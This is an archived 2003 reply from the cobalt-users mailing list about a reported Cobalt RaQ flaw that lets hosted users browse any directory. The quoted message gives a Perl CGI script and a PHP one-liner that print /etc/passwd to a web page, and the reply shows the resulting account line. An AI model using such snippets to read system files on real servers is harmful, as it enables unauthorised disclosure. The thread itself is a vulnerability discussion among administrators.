[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

RE: [cobalt-users] MAJOR BUG, Browse any directory view any file



when I tried the php code I received output but no passwords are displayed..

only lines like this:
admin:x:500:100:Administrator:/home/.users/112/admin:/bin/bash

(RaQ550)


> -----Oorspronkelijk bericht-----
> Van: Fragga [mailto:fragga@xxxxxxxxxxxx]
> Verzonden: woensdag 28 mei 2003 15:19
> Aan: cobalt-users@xxxxxxxxxxxxxxx
> Onderwerp: Re: [cobalt-users] MAJOR BUG, Browse any directory view any
> file
> 
> 
> #!/usr/bin/perl
> print "Content-type: text/html\n\n";
> print "<PRE>";
> print `cat /etc/passwd`;
> print "</PRE>";
> 
> and the same in php --
> 
> <PRE>
> <? passthru("cat /etc/passwd"); ?>
> </PRE>
> 
> yeah ?
> 
> fragga
> 
> _____________________________________
> cobalt-users mailing list
> cobalt-users@xxxxxxxxxxxxxxx
> To subscribe/unsubscribe, or to SEARCH THE ARCHIVES, go to:
> http://list.cobalt.com/mailman/listinfo/cobalt-users
>